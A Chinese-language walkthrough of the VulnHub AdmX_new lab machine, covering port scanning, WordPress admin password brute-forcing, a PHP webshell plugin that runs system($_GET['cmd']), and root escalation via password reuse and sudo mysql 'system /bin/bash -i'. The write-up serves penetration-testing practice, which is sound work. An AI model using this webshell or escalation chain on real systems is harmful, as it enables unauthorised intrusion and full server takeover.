VulnHub打靶记录——AdmX_new
靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z
1、主机发现
通过nmap进行主机发现
nmap -sn 192.168.229.0/24
靶机ip:192.168.229.130
kali的ip:192.168.229.128
2、信息收集
1、对靶机开放的端口,运行服务,操作系统的版本进行探测
nmap -sV -p- -O 192.168.229.130
只开放了80端口,跑的是apache的http服务,操作系统是Linux 4.15 - 5.6 或 Linux 5.0 - 5.4。
2、对80端口进行一个nmap漏洞库的扫描
nmap --script=vuln -p80 192.168.229.130
扫描结果显示有 /wordpress 和 /wordpress/wp-login.php 目录
3、访问80端口
apache的默认页面,没有信息可以利用,进行目录爆破。
dirsearch -u http://192.168.229.130/ -e*
发现了4个目录:/tools 、/tools/adminer.php 、/wordpress、/wordpress/wp-login.php
访问 /tools 没什么信息,/tools/adminer.php 像是数据库的连接页面,先放一放。
访问 /wordpress ,网页时虽然能正常的访问,但页面的加载时间很长。
通过 burpsuite 抓包可以发现 当访问 /wordpress 的时候,网页会对 192.168.159.145 进行访问,访问的内容都是关于wordpress的一些js文件,而192.168.159.145不存在。
有可能是之前在编写代码的时候,靶机的ip为192.168.159.145,但是现在靶机的ip改了,使用burp进行替换,将数据包的192.168.159.145 换成192.168.229.130,需要将响应头和请求体都替换。
浏览器重新访问80端口的 wprdpress 目录
可以发现网页成功的渲染,但是也没什么东西,访问前面发现的 wprdpress/wp-login.php 目录
来到后台地址,尝试一下弱口令 admin admin
提示密码错误,证明存在admin的用户名。
3、获取shell
bp爆破密码,得到 adam14
登录
获取shell
Wordpress的管理员后台利用
wordpress的管理员后台有三个可以利用的地方:
-
Media -> 可以上传文件getshell
-
appearance的theme editor修改外观主题,404模板,写入反弹shell,可以更新即可以利用
-
plugins上传插件(插件的默认位置url/wordpress/wp-admin/plugins/上传的插件名称)
这里尝试后两个:
1、appearance的theme editor修改外观主题的404模板
先判断是否可以写入,尾部写入 echo 123
点击update file
发现不能修改文件,尝试另一种办法。
2、plugins上传插件
编写一个自定义插件,该插件的编写很简单,就是 php 简单的恶意代码,只需要注意一下两点:
- 需要在代码的头部加上 wordpress 固定的插件注释格式,插件才能被正确的识别。
- 以 zip格式上传插件。
<?php/*
Plugin Name: webshell
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: wp
Author: wp
Version: 1.0
Author URI: http://ma.tt/
License: https://wwcdg.github.io/
*/if(isset($_GET['cmd']))system($_GET['cmd']);
?>
然后打包成 zip 上传激活
上传成功,点击 activate plugin 激活插件,插件的默认位置url/wordpress/wp-admin/plugins/上传的插件名称
访问这个插件
http://192.168.229.130/wordpress/wp-admin/plugins/wp.php?cmd=id
看一下是否有 nc,python,bash 等可以利用的工具来进行反弹 shell
存在nc,python3,bash,那么就可以选择喜欢的方式反弹 shell 了(bash测试无法反弹)。也可以把插件里的代码改成一句话,然后蚁剑连接。
四、提权
第一次提权(wpadmin)
SUDO提权
当前用户 www-date,sudo -l 查看是否有可提权的命令
没有不用 root 密码就可以执行的文件。看一下有什么用户
cat /etc/passwd | grep -v nologin
看到 wpadmin 有用户,但是现在不知道密码。
SUID提权
查看是否具有root权限的命令
find / -perm -4000 -type f 2>/dev/null
常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
screen-4.5.0
没有发现可以利用的文件
内核提权
uname -a
内核版本为5.4.0,没有找到可以利用的内核漏洞
定时任务提权
查看自动任务 cat /etc/crontab
发现有定时任务,这个定时任务的目录下,发现有文件,但是没有权限。
数据库提权
在wordpress目录下找到网站的配置文件 wp-config.php
发现有数据库的密码和用户,那么尝试连接数据库
mysql -u admin -p Wp_Admin#123
登录失败,结合前面信息收集,那么一共得到两个密码
Wp_Admin#123
adam14
使用这两个密码尝试去登录 wpadmin 用户,使用 adam14 成功登录。
第二次提权(root)
提高一下交互性
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l 查看是否有可提权的命令
发现可以用于提权的命令
sudo /usr/bin/mysql -u root -D wordpress -p
密码仍然是adam14,成功进入数据库。
使用mysql自带的system命令 system id
发现为root用户
提升为 root 权限
system /bin/bash -i
ok,提权结束。